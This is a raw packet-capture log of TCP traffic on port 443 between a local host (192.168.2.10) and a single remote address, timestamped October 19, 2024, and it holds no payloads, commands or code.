Oct 19, 2024 00:14:05.175544024 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.175673962 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.175685883 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.277595997 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.277782917 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.277854919 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.277919054 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.277935028 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.277945995 CEST	49816	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.277951956 CEST	443	49816	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.280941963 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.280976057 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.281137943 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.281343937 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.281354904 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.285373926 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.285434961 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.285485983 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.285536051 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.285645008 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.285662889 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.285677910 CEST	49815	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.285682917 CEST	443	49815	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.287952900 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.287982941 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.289020061 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.289225101 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.289235115 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.606374025 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.606982946 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.607023001 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.607523918 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.607530117 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.740434885 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.740508080 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.740597963 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.740964890 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.740964890 CEST	49817	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.740982056 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.740998030 CEST	443	49817	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.744155884 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.744193077 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.744271994 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.744414091 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.744425058 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.822640896 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.823405981 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.823420048 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.823867083 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.823870897 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.939824104 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.940666914 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.940676928 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.941497087 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.941500902 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.958667040 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.958740950 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.958822012 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.960411072 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.960414886 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.960448027 CEST	49818	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.960452080 CEST	443	49818	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.963046074 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.963082075 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:05.963150978 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.963285923 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:05.963300943 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.029668093 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.030121088 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.030136108 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.030582905 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.030589104 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.047286034 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.047770977 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.047804117 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.048239946 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.048245907 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.073597908 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.073714972 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.073769093 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.073777914 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.073820114 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.073972940 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.073972940 CEST	49819	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.073993921 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.074003935 CEST	443	49819	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.077557087 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.077591896 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.077672958 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.077851057 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.077863932 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.165436029 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.165518045 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.165596962 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.165844917 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.165863991 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.165879011 CEST	49821	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.165884972 CEST	443	49821	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.169195890 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.169219971 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.169295073 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.169456959 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.169467926 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.186417103 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.186594963 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.186661959 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.186742067 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.186759949 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.186772108 CEST	49820	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.186777115 CEST	443	49820	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.189435959 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.189450979 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.189516068 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.189646006 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.189655066 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.487082005 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.487706900 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.487720966 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.488176107 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.488181114 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.623245955 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.623325109 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.623610973 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.623651028 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.623672009 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.623706102 CEST	49822	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.623712063 CEST	443	49822	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.627988100 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.628036022 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.628138065 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.628423929 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.628443003 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.704926968 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.705491066 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.705518007 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.705965042 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.705970049 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.821805954 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.822326899 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.822343111 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.822809935 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.822813988 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.837405920 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.837785006 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.837836027 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.837836027 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.837882042 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.837929964 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.837945938 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.837963104 CEST	49823	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.837970018 CEST	443	49823	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.840739965 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.840755939 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.840846062 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.841027021 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.841037989 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.913244009 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.914047003 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.914062023 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.914597034 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.914603949 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.927500010 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.928081036 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.928090096 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.928586006 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.928596973 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.955432892 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.955506086 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.955554008 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.956010103 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.956026077 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.956032038 CEST	49824	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.956037045 CEST	443	49824	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.960516930 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.960577965 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:06.960650921 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.960834026 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:06.960850000 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.048835039 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.048875093 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.048914909 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.049002886 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.049062967 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.049305916 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.049326897 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.049349070 CEST	49825	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.049355984 CEST	443	49825	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.052745104 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.052777052 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.052896023 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.053101063 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.053114891 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.056740999 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.056806087 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.056947947 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.057044983 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.057044983 CEST	49826	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.057054996 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.057058096 CEST	443	49826	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.060014963 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.060067892 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.060201883 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.060429096 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.060440063 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.394090891 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.394736052 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.394762039 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.395199060 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.395204067 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.528594971 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.528670073 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.528732061 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.528999090 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.529021025 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.529032946 CEST	49827	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.529037952 CEST	443	49827	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.532850027 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.532883883 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.532990932 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.533111095 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.533126116 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.579585075 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.579992056 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.580022097 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.580431938 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.580439091 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.701848030 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.702510118 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.702531099 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.702995062 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.703000069 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.712198019 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.712260962 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.712344885 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.712585926 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.712599993 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.712630033 CEST	49829	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.712635994 CEST	443	49829	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.715980053 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.716010094 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.716128111 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.716363907 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.716375113 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.785373926 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.786036015 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.786056995 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.786501884 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.786510944 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.787013054 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.787409067 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.787424088 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.787691116 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.787695885 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.877239943 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.877291918 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.877336979 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.877345085 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.877396107 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.877794027 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.877810955 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.877823114 CEST	49830	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.877834082 CEST	443	49830	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.882384062 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.882430077 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.882493973 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.882761955 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.882781029 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.918381929 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.918505907 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.918561935 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.921796083 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.921809912 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.921825886 CEST	49832	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.921830893 CEST	443	49832	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.922446012 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.922512054 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.922561884 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.925550938 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.925550938 CEST	49831	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.925560951 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.925575018 CEST	443	49831	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.928956032 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.928972960 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.929217100 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.930393934 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.930417061 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.933893919 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.933937073 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:07.934031010 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.934264898 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:07.934273958 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.286964893 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.287487984 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.287497044 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.288100958 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.288105965 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.423197985 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.423376083 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.423482895 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.423680067 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.423680067 CEST	49833	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.423696041 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.423705101 CEST	443	49833	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.427583933 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.427630901 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.427934885 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.427969933 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.427975893 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.466243982 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.466896057 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.466907978 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.467417002 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.467422009 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.622047901 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.622076035 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.622129917 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.622149944 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.622297049 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.622473001 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.622473001 CEST	49834	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.622488022 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.622502089 CEST	443	49834	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.625699043 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.625735998 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.625822067 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.625963926 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.625979900 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.635122061 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.635601044 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.635628939 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.636061907 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.636075020 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.662730932 CEST	443	49850	13.107.246.45	192.168.2.10
